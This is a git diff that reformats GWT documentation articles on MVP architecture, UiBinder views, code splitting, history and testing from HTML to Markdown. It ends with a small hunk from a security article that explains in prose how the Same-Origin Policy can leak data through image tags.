+    </g:VerticalPanel>
+  </g:DecoratorPanel>
+</ui:UiBinder>
+```
 
 Here we've laid out a VerticalPanel that wraps our Add/Delete buttons and
 FlexTable that contains the list of contacts. This is then wrapped by a
-DecoratorPanel for a bit of style. The &lt;ui:style> element declares a small
+DecoratorPanel for a bit of style. The `<ui:style>` element declares a small
 amount of margin so that things aren't placed too close together.
 The ContactsView constructor and members are then reduced to the
 following:
 
-<pre class="prettyprint">
-public class ContactsViewImpl&lt;T> extends Composite implements ContactsView&lt;T> {
+```
+public class ContactsViewImpl<T> extends Composite implements ContactsView<T> {
   ...
   @UiTemplate("ContactsView.ui.xml")
   interface ContactsViewUiBinder extends UiBinder<Widget, ContactsViewImpl> {}
@@ -125,7 +125,7 @@
   }
   ...
 }
-</pre>
+```
 
 We'll get to why it's templatized, why it's an "impl" class, and why we use
 the UiTemplate annotation later on when we discuss "Complex UIs - Dumb Views".
@@ -145,14 +145,14 @@
 when it receives a click, select or other event. The Presenter interface defines
 the following:
 
-<pre class="prettyprint">
-  public interface Presenter&lt;T> {
+```
+public interface Presenter<T> {
     void onAddButtonClicked();
     void onDeleteButtonClicked();
     void onItemClicked(T clickedItem);
     void onItemSelected(T selectedItem);
   }
-</pre>
+```
 
 Again, templatizing the interface will be covered in the next section, but
 with this interface in place you can start to see how the ContactsView is going
@@ -161,18 +161,18 @@
 register itself with the underlying view. To register itself, we'll need our
 ContactsView to expose a setPresenter() method:
 
-<pre class="prettyprint">
-  private Presenter&lt;T> presenter;
-  public void setPresenter(Presenter&lt;T> presenter) {
+```
+private Presenter<T> presenter;
+  public void setPresenter(Presenter<T> presenter) {
     this.presenter = presenter;
   }
-</pre>
+```
 
 Now we can take a look at how we'll wire up the UI interactions within the
 ContactsView via the UiHandler annotation:
 
-<pre class="prettyprint">
-public class ContactsViewImpl&lt;T> extends Composite implements ContactsView&lt;T> {
+```
+public class ContactsViewImpl<T> extends Composite implements ContactsView<T> {
   ...
   @UiHandler("addButton")
   void onAddButtonClicked(ClickEvent event) {
@@ -207,14 +207,14 @@
   }
   ...
 }
-</pre>
+```
 
 Using this technique, we've provided the UiBinder generator the corresponding
 methods that should be called when a Widget has a "ui:field" attribute set to
 "addButton", "deleteButton", and "contactsTable". On the ContactsPresenter side
 of the fence we end up with the following:
 
-<pre class="prettyprint">
+```
 public class ContactsPresenter implements Presenter {
   ...
   public void onAddButtonClicked() {
@@ -239,7 +239,7 @@
   }
   ...
 }
-</pre>
+```
 
 The resulting method implementations are the same as the non-UiBinder sample,
 with the exception of the onItemClicked() and onItemSelected() methods. And
@@ -254,14 +254,14 @@
 list of DTOs (Data Transfer Objects) and constructs a list of Strings that it
 then passes to the view.
 
-<pre class="prettyprint">
+```
 public ContactsPresenter implements Presenter {
   ...
-  public void onSuccess(ArrayList&lt;ContactDetails> result) {
+  public void onSuccess(ArrayList<ContactDetails> result) {
     contactDetails = result;
     sortContactDetails();
-    List&lt;String> data = new ArrayList&lt;String>();
-    for (int i = 0; i &lt; result.size(); ++i) {
+    List<String> data = new ArrayList<String>();
+    for (int i = 0; i < result.size(); ++i) {
       data.add(contactDetails.get(i).getDisplayName());
     }
 
@@ -269,7 +269,7 @@
   }
   ...
 }
-</pre>
+```
 
 The "data" object that is passed to the view is a very (and I mean very)
 simplistic ViewModel &mdash; basically a representation of a more complex data model
@@ -286,8 +286,8 @@
 ColumnDefinition abstract class that houses the any type-specific code (this is
 the third party mentioned above).
 
-<pre class="prettyprint">
-  public abstract class ColumnDefinition&lt;T> {
+```
+public abstract class ColumnDefinition<T> {
     public abstract Widget render(T t);
 
     public boolean isClickable() {
@@ -298,20 +298,20 @@
       return false;
     }
   }
-</pre>
+```
 
 By stringing together a list of these classes, and providing the necessary
 render() implementations and isClickable()/isSelectable() overrides, you can
 start see how we would define our layout. Let's take a look at how we would
 make this work with our Contacts sample.
 
-<pre class="prettyprint">
-  public class ContactsViewColumnDefinitions&lt;ContactDetails> {
-    List&lt;ColumnDefinition&lt;ContactDetails>> columnDefinitions =
-      new ArrayList&lt;ColumnDefinition&lt;ContactDetails>>();
+```
+public class ContactsViewColumnDefinitions<ContactDetails> {
+    List<ColumnDefinition<ContactDetails>> columnDefinitions =
+      new ArrayList<ColumnDefinition<ContactDetails>>();
 
     private ContactsViewColumnDefinitions() {
-      columnDefinitions.add(new ColumnDefinition&lt;ContactDetails>() {
+      columnDefinitions.add(new ColumnDefinition<ContactDetails>() {
         public Widget render(ContactDetails c) {
           return new CheckBox();
         }
@@ -321,7 +321,7 @@
         }
       });
 
-      columnDefinitions.add(new ColumnDefinition&lt;ContactDetails>() {
+      columnDefinitions.add(new ColumnDefinition<ContactDetails>() {
         public Widget render(ContactDetails c) {
           return new HTML(c.getDisplayName());
         }
@@ -332,11 +332,11 @@
       });
     }
 
-    public List&lt;ColumnDefinition&lt;ContactDetails>> getColumnDefnitions() {
+    public List<ColumnDefinition<ContactDetails>> getColumnDefnitions() {
       return columnDefinitions;
     }
   }
-</pre>
+```
 
 These ColumnDefinition(s) would be created outside of the presenter so that
 we can reuse its logic regardless of what view we've attached ourself to (be it
@@ -345,27 +345,27 @@
 injected using GIN) on a per-permutation basis. Regardless of the technique,
 we'll need to update our views such that we can set their ColumnDefinition(s).
 
-<pre class="prettyprint">
-  public class ContactsViewImpl&lt;T> extends Composite implements ContactsView&lt;T> {
+```
+public class ContactsViewImpl<T> extends Composite implements ContactsView<T> {
     ...
-    private List&lt;ColumnDefinition&lt;T>> columnDefinitions;
+    private List<ColumnDefinition<T>> columnDefinitions;
     public void setColumnDefinitions(
-        List&lt;ColumnDefinition&lt;T>> columnDefinitions) {
+        List<ColumnDefinition<T>> columnDefinitions) {
       this.columnDefinitions = columnDefinitions;
     }
     ...
   }
-</pre>
+```
 
-Note that our ContactsView is now ContactsViewImpl&lt;T> and implements
-ContactsView&lt;T>. This is so that we can pass in a mocked ContactsView instance
+Note that our ContactsView is now ContactsViewImpl<T> and implements
+ContactsView<T>. This is so that we can pass in a mocked ContactsView instance
 when testing our ContactsPresenter. Now in our AppController, when we create the
 ContactsView, we can initialize it with the necessary ColumnDefinition(s).
 
-<pre class="prettyprint">
-  public class AppController implements Presenter, ValueChangeHandler&lt;String> {
+```
+public class AppController implements Presenter, ValueChangeHandler<String> {
     ...
-    public void onValueChange(ValueChangeEvent&lt;String> event) {
+    public void onValueChange(ValueChangeEvent<String> event) {
       String token = event.getValue();
       if (token != null) {
         Presenter presenter = null;
@@ -373,7 +373,7 @@
           // lazily initialize our views, and keep them around to be reused
           //
           if (contactsView == null) {
-            contactsView = new ContactsViewImpl&lt;ContactDetails>();
+            contactsView = new ContactsViewImpl<ContactDetails>();
             if (contactsViewColumnDefinitions == null) {
               contcactsViewColumnDefinitions = new ContactsViewColumnDefinitions().getColumnDefinitions();
             }
@@ -386,19 +386,19 @@
     }
     ...
   }
-</pre>
+```
 
 With the ColumnDefinition(s) in place, we will start to see the fruits of our
 labor. Mainly in the way we pass model data to the view. As mentioned above we
 were previously dumbing down the model into a list of Strings. With our
 ColumnDefinition(s) we can pass the model untouched.
 
-<pre class="prettyprint">
-  public class ContactsPresenter implements Presenter,
+```
+public class ContactsPresenter implements Presenter,
     ...
     private void fetchContactDetails() {
-      rpcService.getContactDetails(new AsyncCallback&lt;ArrayList&lt;ContactDetails>>() {
-        public void onSuccess(ArrayList&lt;ContactDetails> result) {
+      rpcService.getContactDetails(new AsyncCallback<ArrayList<ContactDetails>>() {
+        public void onSuccess(ArrayList<ContactDetails> result) {
             contactDetails = result;
             sortContactDetails();
             view.setRowData(contactDetails);
@@ -408,28 +408,28 @@
     }
     ...
   }
-</pre>
+```
 
 And our ContactsViewImpl has the following setRowData() implementation:
 
-<pre class="prettyprint">
-  public class ContactsViewImpl&lt;T> extends Composite implements ContactsView&lt;T> {
+```
+public class ContactsViewImpl<T> extends Composite implements ContactsView<T> {
     ...
-    public void setRowData(List&lt;T> rowData) {
+    public void setRowData(List<T> rowData) {
       contactsTable.removeAllRows();
       this.rowData = rowData;
 
-      for (int i = 0; i &lt; rowData.size(); ++i) {
+      for (int i = 0; i < rowData.size(); ++i) {
         T t = rowData.get(i);
-        for (int j = 0; j &lt; columnDefinitions.size(); ++j) {
-          ColumnDefinition&lt;T> columnDefinition = columnDefinitions.get(j);
+        for (int j = 0; j < columnDefinitions.size(); ++j) {
+          ColumnDefinition<T> columnDefinition = columnDefinitions.get(j);
           contactsTable.setWidget(i, j, columnDefinition.render(t));
         }
       }
     }
     ...
   }
-</pre>
+```
 
 A definite improvement; the presenter can pass the model untouched and the
 view has no rendering code that we would otherwise need to test. And the fun
@@ -437,8 +437,8 @@
 let's take a look at how they work in conjunction with ClickEvents that are
 received within the view.
 
-<pre class="prettyprint">
-  public class ContactsViewImpl&lt;T> extends Composite implements ContactsView&lt;T> {
+```
+public class ContactsViewImpl<T> extends Composite implements ContactsView<T> {
     ...
     @UiHandler("contactsTable")
     void onTableClicked(ClickEvent event) {
@@ -461,7 +461,7 @@
       boolean shouldFireClickEvent = false;
 
       if (cell != null) {
-        ColumnDefinition&lt;T> columnDefinition =
+        ColumnDefinition<T> columnDefinition =
           columnDefinitions.get(cell.getCellIndex());
 
         if (columnDefinition != null) {
@@ -476,7 +476,7 @@
       boolean shouldFireSelectEvent = false;
 
       if (cell != null) {
-        ColumnDefinition&lt;T> columnDefinition =
+        ColumnDefinition<T> columnDefinition =
           columnDefinitions.get(cell.getCellIndex());
 
         if (columnDefinition != null) {
@@ -488,7 +488,7 @@
     }
     ...
   }
-</pre>
+```
 
 The notion here is that you'll want to respond to user interaction in
 different ways based upon the cell type that was clicked. Given that our
@@ -502,11 +502,11 @@
 SelectionModel is nothing more than a wrapper around a list of model
 objects.
 
-<pre class="prettyprint">
-  public class SelectionModel&lt;T> {
-    List&lt;T> selectedItems = new ArrayList&lt;T>();
+```
+public class SelectionModel<T> {
+    List<T> selectedItems = new ArrayList<T>();
 
-    public List&lt;T> getSelectedItems() {
+    public List<T> getSelectedItems() {
       return selectedItems;
     }
 
@@ -522,13 +522,13 @@
       return selectedItems.contains(item);
     }
   }
-</pre>
+```
 
 The ContactsPresenter holds on to an instance of this class and updates it
 accordingly, based on calls to onItemSelected().
 
-<pre class="prettyprint">
-  public class ContactsPresenter implements Presenter,
+```
+public class ContactsPresenter implements Presenter,
     ...
     public void onItemSelected(ContactDetails contactDetails) {
       if (selectionModel.isSelected(contactDetails)) {
@@ -541,13 +541,13 @@
     }
     ...
   }
-</pre>
+```
 
 When it needs to grab the list of selected items, for example when the user
 clicks the "Delete" button, it has them right at its disposal.
 
-<pre class="prettyprint">
-  public class ContactsPresenter implements Presenter,
+```
+public class ContactsPresenter implements Presenter,
     ...
 
     public void onDeleteButtonClicked() {
@@ -555,15 +555,15 @@
     }
 
     private void deleteSelectedContacts() {
-      List&lt;ContactDetails> selectedContacts = selectionModel.getSelectedItems();
-      ArrayList&lt;String> ids = new ArrayList&lt;String>();
+      List<ContactDetails> selectedContacts = selectionModel.getSelectedItems();
+      ArrayList<String> ids = new ArrayList<String>();
 
-      for (int i = 0; i &lt; selectedContacts.size(); ++i) {
+      for (int i = 0; i < selectedContacts.size(); ++i) {
         ids.add(selectedContacts.get(i).getId());
       }
 
-      rpcService.deleteContacts(ids, new AsyncCallback&lt;ArrayList&lt;ContactDetails>>() {
-        public void onSuccess(ArrayList&lt;ContactDetails> result) {
+      rpcService.deleteContacts(ids, new AsyncCallback<ArrayList<ContactDetails>>() {
+        public void onSuccess(ArrayList<ContactDetails> result) {
            ...
         }
         ...
@@ -571,7 +571,7 @@
     }
     ...
   }
-</pre>
+```
 
 Alright, so that was a fair amount to digest, and describing it in code
 snippets might lead to some being "lost in translation". If that's the case,
@@ -600,52 +600,52 @@
 *   Reduce the event overhead by sinking events on the HTML widget, rather than
 the individual cells.
 
-<p>The changes are encompassed within our ContactsView.ui.xml file, as well as
+The changes are encompassed within our ContactsView.ui.xml file, as well as
 our setRowData() and onTableClicked() methods. First we'll need to update our
 ContactsView.ui.xml file to use a HTML widget rather than a FlexTable widget.
 
-<pre style="color:#008">
-&lt;ui:UiBinder>
+```
+<ui:UiBinder>
   ...
-  &lt;g:DecoratorPanel>
-    &lt;g:VerticalPanel>
-      &lt;g:HorizontalPanel addStyleNames="{style.contactsViewButtonHPanel}">
-        &lt;g:Button ui:field="addButton">Add&lt;/g:Button>
-        &lt;g:Button ui:field="deleteButton">Delete&lt;/g:Button>
-      &lt;/g:HorizontalPanel>
-      &lt;g:HTML ui:field="contactsTable">&lt;/g:HTML>
-    &lt;/g:VerticalPanel>
-  &lt;/g:DecoratorPanel>
-&lt;/ui:UiBinder>
-</pre>
+  <g:DecoratorPanel>
+    <g:VerticalPanel>
+      <g:HorizontalPanel addStyleNames="{style.contactsViewButtonHPanel}">
+        <g:Button ui:field="addButton">Add</g:Button>
+        <g:Button ui:field="deleteButton">Delete</g:Button>
+      </g:HorizontalPanel>
+      <g:HTML ui:field="contactsTable"></g:HTML>
+    </g:VerticalPanel>
+  </g:DecoratorPanel>
+</ui:UiBinder>
+```
 
 We'll also need to change the widget that we reference within our
 ContactsViewImpl class.
 
-<pre class="prettyprint">
-public class ContactsViewImpl&lt;T> extends Composite implements ContactsView&lt;T> {
+```
+public class ContactsViewImpl<T> extends Composite implements ContactsView<T> {
   ...
   @UiField HTML contactsTable;
   ...
-</pre>
+```
 
 Next we'll make the necessary changes to our setRowData() method.
 
-<pre class="prettyprint">
-public class ContactsViewImpl&lt;T> extends Composite implements ContactsView&lt;T> {
+```
+public class ContactsViewImpl<T> extends Composite implements ContactsView<T> {
   ...
-  public void setRowData(List&lt;T> rowData) {
+  public void setRowData(List<T> rowData) {
     this.rowData = rowData;
 
     TableElement table = Document.get().createTableElement();
     TableSectionElement tbody = Document.get().createTBodyElement();
     table.appendChild(tbody);
 
-    for (int i = 0; i &lt; rowData.size(); ++i) {
+    for (int i = 0; i < rowData.size(); ++i) {
       TableRowElement row = tbody.insertRow(-1);
       T t = rowData.get(i);
 
-      for (int j = 0; j &lt; columnDefinitions.size(); ++j) {
+      for (int j = 0; j < columnDefinitions.size(); ++j) {
         TableCellElement cell = row.insertCell(-1);
         StringBuilder sb = new StringBuilder();
         columnDefinitions.get(j).render(t, sb);
@@ -663,7 +663,7 @@
   }
   ...
 }
-</pre>
+```
 
 The above code is similar to our original setRowData() method, we iterate
 through the rowData and for each item ask our column definitions to render
@@ -675,8 +675,8 @@
 
 Now let's take a look at the code used to sink events on the table.
 
-<pre class="prettyprint">
-public class ContactsViewImpl&lt;T> extends Composite implements ContactsView&lt;T> {
+```
+public class ContactsViewImpl<T> extends Composite implements ContactsView<T> {
   ...
   @UiHandler("contactsTable")
   void onTableClicked(ClickEvent event) {
@@ -701,7 +701,7 @@
       }
   ...
 }
-</pre>
+```
 
 Here our onTableClicked() code gets a bit more complicated, but nothing that
 would raise a red flag when compared to the rest of our application. To
@@ -716,14 +716,14 @@
 shouldFireSelectEvent() to take as a parameter a TableCellElement rather than
 a HTMLTable.Cell. The implementation remains the same, as you can see below.
 
-<pre class="prettyprint">
-public class ContactsViewImpl&lt;T> extends Composite implements ContactsView&lt;T> {
+```
+public class ContactsViewImpl<T> extends Composite implements ContactsView<T> {
   ...
   private boolean shouldFireClickEvent(TableCellElement cell) {
     boolean shouldFireClickEvent = false;
 
     if (cell != null) {
-      ColumnDefinition&lt;T> columnDefinition =
+      ColumnDefinition<T> columnDefinition =
         columnDefinitions.get(cell.getCellIndex());
 
       if (columnDefinition != null) {
@@ -738,7 +738,7 @@
     boolean shouldFireSelectEvent = false;
 
     if (cell != null) {
-      ColumnDefinition&lt;T> columnDefinition =
+      ColumnDefinition<T> columnDefinition =
         columnDefinitions.get(cell.getCellIndex());
 
       if (columnDefinition != null) {
@@ -750,9 +750,9 @@
   }
   ...
  }
-</pre>
+```
 
-## Code Splitting &ndash; Only the relevant parts please <a id="code_splitting"></a>
+## Code Splitting -- Only the relevant parts please <a id="code_splitting"></a>
 
 Up to this point we've discussed how code maintainability and testing are
 benefits of an MVP-based application. One other benefit that may go overlooked
@@ -774,8 +774,8 @@
 login code, and leave the rest for when we actually need it (e.g. after the user
 has logged in). Well we can, and here's how.
 
-<pre class="prettyprint">
-  public void onValueChange(ValueChangeEvent&lt;String> event) {
+```
+public void onValueChange(ValueChangeEvent<String> event) {
     String token = event.getValue();
 
     if (token != null) {
@@ -786,7 +786,7 @@
             // lazily initialize our views, and keep them around to be reused
             //
             if (contactsView == null) {
-              contactsView = new ContactsViewImpl&lt;ContactDetails>();
+              contactsView = new ContactsViewImpl<ContactDetails>();
             }
             new ContactsPresenter(rpcService, eventBus, contactsView).go(container);
           }
@@ -794,7 +794,7 @@
       }
       ...
    }
-</pre>
+```
 
 Here, all we've done is wrap the code that creates the ContactsView and
 ContactsPresenter in a runAsync() call, and as a result it won't be downloaded
diff --git a/src/main/markdown/articles/mvp-architecture.md b/src/main/markdown/articles/mvp-architecture.md
index 165e211..a1e2cb2 100644
--- a/src/main/markdown/articles/mvp-architecture.md
+++ b/src/main/markdown/articles/mvp-architecture.md
@@ -134,7 +134,7 @@
 [presenters](#presenter) and supplying a [view](#view)
 that the presenter will drive.
 
-<pre class="prettyprint">
+```
 public class Contacts implements EntryPoint {
 
   public void onModuleLoad() {
@@ -143,7 +143,8 @@
     AppController appViewer = new AppController(rpcService, eventBus);
     appViewer.go(RootPanel.get());
   }
-}</pre>
+}
+```
 
 ## Binding presenters and views <a id="binding"></a>
 
@@ -167,19 +168,21 @@
 In the case of our ContactsPresenter, we define the Display interface
 as such:
 
-<pre class="prettyprint">
+```
+
 public class ContactsPresenter implements Presenter {
   ...
-  public interface Display extends HasValue&lt;List&lt;String>> {
+  public interface Display extends HasValue<List<String>> {
     HasClickHandlers getAddButton();
     HasClickHandlers getDeleteButton();
     HasClickHandlers getList();
-    void setData(List&lt;String> data);
+    void setData(List<String> data);
     int getClickedRow(ClickEvent event);
-    List&lt;Integer> getSelectedRows();
+    List<Integer> getSelectedRows();
     Widget asWidget();
   }
-}</pre>
+}
+```
 
 While the ContactsView implements the above interface using Buttons and a
 FlexTable, the ContactsPresenter is none the wiser. In addition, if we
@@ -200,16 +203,16 @@
 To show you how this works, let's look at the code that is executed upon
 receiving the list of Contacts from the server:
 
-<pre class="prettyprint">
+```
 public class ContactsPresenter implements Presenter {
   ...
   private void fetchContactDetails() {
-    rpcService.getContactDetails(new AsyncCallback&lt;ArrayList&lt;ContactDetails>>() {
-      public void onSuccess(ArrayList&lt;ContactDetails> result) {
+    rpcService.getContactDetails(new AsyncCallback<ArrayList<ContactDetails>>() {
+      public void onSuccess(ArrayList<ContactDetails> result) {
           contacts = result;
-          List&lt;String> data = new ArrayList&lt;String>();
+          List<String> data = new ArrayList<String>();
 
-          for (int i = 0; i &lt; result.size(); ++i) {
+          for (int i = 0; i < result.size(); ++i) {
             data.add(contacts.get(i).getDisplayName());
           }
 
@@ -221,11 +224,13 @@
       }
     });
   }
-}</pre>
+}
+```
 
 To listen for UI events we have the following:
 
-<pre class="prettyprint">
+```
+
 public class ContactsPresenter implements Presenter {
   ...
   public void bind() {
@@ -252,28 +257,29 @@
       }
     });
   }
-}</pre>
+}
+```
 
 To respond to UI events, such as the user deleting a list of selected
 contacts, we have the following:
 
-<pre class="prettyprint">
+```
 public class ContactsPresenter implements Presenter {
   ...
   private void deleteSelectedContacts() {
-    List&lt;Integer> selectedRows = display.getSelectedRows();
-    ArrayList&lt;String> ids = new ArrayList&lt;String>();
+    List<Integer> selectedRows = display.getSelectedRows();
+    ArrayList<String> ids = new ArrayList<String>();
 
-    for (int i = 0; i &lt; selectedRows.size(); ++i) {
+    for (int i = 0; i < selectedRows.size(); ++i) {
       ids.add(contactDetails.get(selectedRows.get(i)).getId());
     }
 
-    rpcService.deleteContacts(ids, new AsyncCallback&lt;ArrayList&lt;ContactDetails>>() {
-      public void onSuccess(ArrayList&lt;ContactDetails> result) {
+    rpcService.deleteContacts(ids, new AsyncCallback<ArrayList<ContactDetails>>() {
+      public void onSuccess(ArrayList<ContactDetails> result) {
         contactDetails = result;
-        List&lt;String> data = new ArrayList&lt;String>();
+        List<String> data = new ArrayList<String>();
 
-        for (int i = 0; i &lt; result.size(); ++i) {
+        for (int i = 0; i < result.size(); ++i) {
           data.add(contactDetails.get(i).getDisplayName());
         }
 
@@ -285,15 +291,16 @@
       }
     });
   }
-}</pre>
+}
+```
 
-</p>Again, in order to reap the benefits of the MVP model, the
+Again, in order to reap the benefits of the MVP model, the
 [presenter](#presenter) should have no knowledge of any widget-based
 code. So long as we wrap a view in a display interface that can be mocked and
 our JRE tests never call `asWidget()`, all is grand. That's how
 you can have your cake and eat it too: minimize the GWT ties to allow
 a non-GWTTestCase to be useful, but still have the ability to slap a Display
-instance into a panel.</p>
+instance into a panel.
 
 ## Events and the Event Bus <a id="events"></a>
 
@@ -343,7 +350,7 @@
 as well as the handler that should be called when the event is fired. The code below
 shows how the AppController registers to receive EditContactEvents.
 
-<pre class="prettyprint">
+```
 public class AppController implements ValueChangeHandler {
   ...
   eventBus.addHandler(EditContactEvent.TYPE,
@@ -353,7 +360,8 @@
         }
       });
   ...
-}</pre>
+}
+```
 
 Here the AppController has an instance of the [HandlerManager](/javadoc/latest/com/google/gwt/event/shared/HandlerManager.html),
 called eventBus, and is registering a new EditContactEventHandler. This handler will
@@ -372,7 +380,8 @@
 method with a EditContactEvent() class that is initialized with the id of the
 contacts to be edited.
 
-<pre class="prettyprint">
+```
+
 public class ContactsPresenter {
   ...
   display.getList().addClickHandler(new ClickHandler() {
@@ -386,7 +395,8 @@
     }
   });
   ...
-}</pre>
+}
+```
 
 View transition is a proactive event flow, where the event source lets
 the rest of the app know, "Hey a view transition is about to take place, so if
@@ -399,7 +409,7 @@
 Below is an example of the event that is fired upon successfully updating a
 contact.
 
-<pre class="prettyprint">
+```
 public class EditContactPresenter {
   ...
   private void doSave() {
@@ -407,7 +417,7 @@
     contact.setLastName(display.getLastName().getValue());
     contact.setEmailAddress(display.getEmailAddress().getValue());
 
-    rpcService.updateContact(contact, new AsyncCallback&lt;Contact>() {
+    rpcService.updateContact(contact, new AsyncCallback<Contact>() {
         public void onSuccess(Contact result) {
           eventBus.fireEvent(new ContactUpdatedEvent(result));
         }
@@ -417,7 +427,8 @@
     });
   }
   ...
-}</pre>
+}
+```
 
 ## History and view transitions <a id="history"></a>
 
@@ -433,7 +444,7 @@
 will be popped off of the stack and the current history token will be the
 "Contact List" view.
 
-<p>Now that we have the flow straight, we need to decide where to put the code.
+Now that we have the flow straight, we need to decide where to put the code.
 Given that history is not specific to a particular view, it
 makes sense to add it to the AppController class.
 
@@ -442,26 +453,29 @@
 method. The interface and parameter are of type String because the History
 events are simply the tokens that are pushed onto the stack.
 
-<pre class="prettyprint">
-public class AppController implements ValueChangeHandler&lt;String> {
+```
+
+public class AppController implements ValueChangeHandler<String> {
   ...
-  public void onValueChange(ValueChangeEvent&lt;String> event) {
+  public void onValueChange(ValueChangeEvent<String> event) {
     String token = event.getValue();
     ...
   }
-}</pre>
+}
+```
 
 Next we'll need to register to receive History events, much like we
 registered for events coming off of the EventBus.
 
-<pre class="prettyprint">
-public class AppController implements ValueChangeHandler&lt;String> {
+```
+public class AppController implements ValueChangeHandler<String> {
   ...
   private void bind() {
     History.addValueChangeHandler(this);
     ...
   }
-}</pre>
+}
+```
 
 In the example above, where the user navigates from the "Contact List" view
 to the "Add Contact" view, we mentioned setting an initial state. This is
@@ -471,8 +485,9 @@
 appropriate view. The AppController's go() method, which is called after
 everything has been wired up, is where we'll add this logic.
 
-<pre class="prettyprint">
-public class AppController implements ValueChangeHandler&lt;String> {
+```
+
+public class AppController implements ValueChangeHandler<String> {
   ...
   public void go(final HasWidgets container) {
     this.container = container;
@@ -484,17 +499,18 @@
       History.fireCurrentHistoryState();
     }
   }
-}</pre>
+}
+```
 
 With the above plumbing in place, we need to do something
 meaningful within the onValueChange() method that is called whenever the user
 clicks the "Back" or "Forward" button. Using the getValue() of the event, we'll
 decide which view to show next.
 
-<pre class="prettyprint">
-public class AppController implements ValueChangeHandler&lt;String> {
+```
+public class AppController implements ValueChangeHandler<String> {
   ...
-  public void onValueChange(ValueChangeEvent&lt;String> event) {
+  public void onValueChange(ValueChangeEvent<String> event) {
     String token = event.getValue();
 
     if (token != null) {
@@ -514,7 +530,8 @@
         presenter.go(container);
       }
     }
-}</pre>
+}
+```
 
 Now when the user clicks the back button from the "Add Contact" view, GWT's
 History mechanism will call the onValueChange() method with the previous history
@@ -535,7 +552,8 @@
 Contact" button, fire the associated event upon receiving the click, and
 transition to the "Add Contact" view as a result.
 
-<pre class="prettyprint">
+```
+
 public class ContactsPresenter implements Presenter {
   ...
   public void bind() {
@@ -545,10 +563,11 @@
       }
     });
   }
-}</pre>
+}
+```
 
-<pre class="prettyprint">
-public class AppController implements ValueChangeHandler&lt;String> {
+```
+public class AppController implements ValueChangeHandler<String> {
   ...
   private void bind() {
     ...
@@ -563,7 +582,8 @@
   private void doAddNewContact() {
     History.newItem("add");
   }
-}</pre>
+}
+```
 
 Since the view transition logic is already built into the
 onValueChange() method, this provides a centralized, reusable way of navigating
@@ -591,7 +611,7 @@
 JRE-based components, you can build the majority of your test cases as
 efficient, vanilla JUnit tests.
 
-<p>To demonstrate the benefits of using the MVP model to drive JRE-based unit
+To demonstrate the benefits of using the MVP model to drive JRE-based unit
 tests, rather than those based on GWTTestCase, we've added the following tests
 to our Contacts app.
 
@@ -603,7 +623,8 @@
 ContactDetails, and then verifying that the sorted list is correct. Taking a
 look at the ExampleJRETest, we have the following code.
 
-<pre class="prettyprint">
+```
+
 public class ExampleJRETest extends TestCase {
   private ContactsPresenter contactsPresenter;
   private ContactsServiceAsync mockRpcService;
@@ -618,7 +639,7 @@
   }
 
   public void testContactSort(){
-    List&lt;ContactDetails> contactDetails = new ArrayList&lt;ContactDetails>();
+    List<ContactDetails> contactDetails = new ArrayList<ContactDetails>();
     contactDetails.add(new ContactDetails("0", "c_contact"));
     contactDetails.add(new ContactDetails("1", "b_contact"));
     contactDetails.add(new ContactDetails("2", "a_contact"));
@@ -628,7 +649,8 @@
     assertTrue(contactsPresenter.getContactDetail(1).getDisplayName().equals("b_contact"));
     assertTrue(contactsPresenter.getContactDetail(2).getDisplayName().equals("c_contact"));
   }
-}</pre>
+}
+```
 
 Because we have structured the view behind a Display interface, we're able to
 mock it out (using EasyMock in this example), remove the need for access to the
@@ -637,7 +659,7 @@
 
 We then created the same test using GWTTestCase.
 
-<pre class="prettyprint">
+```
 public class ExampleGWTTest extends GWTTestCase {
   private ContactsPresenter contactsPresenter;
   private ContactsServiceAsync rpcService;
@@ -656,7 +678,7 @@
   }
 
   public void testContactSort(){
-    List&lt;ContactDetails> contactDetails = new ArrayList&lt;ContactDetails>();
+    List<ContactDetails> contactDetails = new ArrayList<ContactDetails>();
     contactDetails.add(new ContactDetails("0", "c_contact"));
     contactDetails.add(new ContactDetails("1", "b_contact"));
     contactDetails.add(new ContactDetails("2", "a_contact"));
@@ -666,7 +688,8 @@
     assertTrue(contactsPresenter.getContactDetail(1).getDisplayName().equals("b_contact"));
     assertTrue(contactsPresenter.getContactDetail(2).getDisplayName().equals("c_contact"));
   }
-}</pre>
+}
+```
 
 Given that our app was designed using the MVP model, it realistically makes no
 sense to structure your tests like this. But that's not the point. The
diff --git a/src/main/markdown/articles/security_for_gwt_applications.md b/src/main/markdown/articles/security_for_gwt_applications.md
index 024d733..55eb4b1 100644
--- a/src/main/markdown/articles/security_for_gwt_applications.md
+++ b/src/main/markdown/articles/security_for_gwt_applications.md
@@ -30,7 +30,11 @@
 
 There is, however, a way around the Same-Origin Policy, and it all starts with trust. A web page owns its own data, of course, and is free to submit that data back to the web site it came from. JavaScript code that's already running is trusted to not be evil, and to know what it's doing. If code is already running, it's too late to stop it from doing anything evil anyway, so you might as well trust it.
 
-One thing that JavaScript code is trusted to do is load more content. For example, you might build a basic image gallery application by writing some JavaScript code that inserts and deletes &lt;img&gt; tags into the current page. When you insert an &lt;img&gt; tag, the browser immediately loads the image as if it had been present in the original page; if you delete (or hide) an &lt;img&gt; tag, the browser removes it from the display.
+One thing that JavaScript code is trusted to do is load more content. For example, you might
+build a basic image gallery application by writing some JavaScript code that inserts and deletes
+`<img>` tags into the current page. When you insert an `<img>` tag, the browser
+immediately loads the image as if it had been present in the original page; if you delete (or
+hide) an `<img>` tag, the browser removes it from the display.
 
 Essentially, the SOP lets JavaScript code do anything that the original HTML page could have done -- it just prevents that JavaScript from sending data to a different server, or from reading or writing data belonging to a different server.
 
@@ -38,72 +42,91 @@
 
 The text above said, "prevents JavaScript from sending data to a different server." Unfortunately, that's not strictly true. In fact it is possible to send data to a different server, although it might be more accurate to say "leak."
 
-JavaScript is free to add new resources -- such as &lt;img&gt; tags -- to the current page. You probably know that you can cause an image hosted on foo.com to appear inline in a page served up by bar.com. Indeed, some people get upset if you do this to their images, since it uses their bandwidth to serve an image to your web visitor. But, it's a feature of HTML, and since HTML can do it, so can JavaScript.
+JavaScript is free to add new resources -- such as `<img>` tags -- to the current page. You
+probably know that you can cause an image hosted on foo.com to appear inline in a page served up by bar.com. Indeed, some people get upset if you do this to their images, since it uses their bandwidth to serve an image to your web visitor. But, it's a feature of HTML, and since HTML can do it, so can JavaScript.
 
